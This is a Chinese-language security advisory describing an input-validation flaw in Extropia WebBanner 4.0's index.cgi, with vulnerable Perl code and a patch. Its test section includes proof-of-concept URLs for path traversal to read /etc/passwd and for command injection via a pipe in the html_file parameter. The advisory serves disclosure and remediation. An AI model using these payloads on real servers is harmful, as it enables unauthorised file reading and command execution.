Extropia WebBanner 输入验证漏洞发布时间:2000-05-04 更新时间:2000-05-04 严重程度:高 威胁程度:普通用户访问权限 错误类型:设计错误 利用方式:服务器模式 受影响系统 Extropia WebBanner 4.0详细描述 Extropia WeBanner 是一个开放源码的PERL CGI工具包,WEB管理员利用它可以随机显示横幅。工具包中有一个组件index.cgi,使用了一个用户可输入的http变量 html_file,它最终传递该变量到open()调用,但是没有检查元字符,于是有可能在目标主机上远程执行任意命令、获取当前WEB服务所拥有的全部特权。 测试代码 在浏览器地址栏输入: http://www.xxx.com/random_banner/index.cgi?image_list=alternative_image.list&html_file=../../../../../etc/passwd 将会以用户 nobody 身份读取 passwd 文件(如果这个服务是以用户 nobody 启动的说话). 因为这个脚本标准执行语法带有 -T 选项: #!/usr/bin/perl -T 所以不能使用管道符"|"执行其它命令. 你可以检查一下,如果在脚本中没有使用 -T 选项,那么你就可以作为 nobody 用户执行任意命令: http://www.xxx.com/random_banner/index.cgi?image_list=alternative_image.list&html_file=|ls -la| 问题在于 index.cgi 脚本第 195 行开始的这段代码 >---[ line 195 + ]------------------------------------------------- open (HTML_FILE, "$html_file") || &CgiDie (" blablabla... "); while (<HTML_FILE>) { if (/\<!--IMG GOES HERE--\>/) { print qq! <A HREF = "$random_url"> <IMG SRC = "$image_url/$random_image"></A>!; } else print "$_"; } } close (HTML_FILE); <------------------------------------------------------------------ 解决方案 把以上这段代码改为: >---[ change above snippet to this snippet! ]---------------------- $html_file =~ s/\%([\d\w]{2})/pack('c',hex($1))/gie; if( $html_file =~ /\.\.\/|\|/ ) { &CgiDie( "Not allowed... " ); } else { open (HTML_FILE, "$html_file") || &CgiDie ( "I'm sorry, but I was unable to open the requested HTML file in the Insert Random Banner Into Page routine. The value I have is $html_file. Would you please check the path and the permissions for the file." ); while (<HTML_FILE>) { if (/\<!--IMG GOES HERE--\>/) { print qq! <A HREF = "$random_url"> <IMG SRC = "$image_url/$random_image"></A>!; } else print "$_"; } } close (HTML_FILE); } <------------------------------------------------------------------ 相关信息 |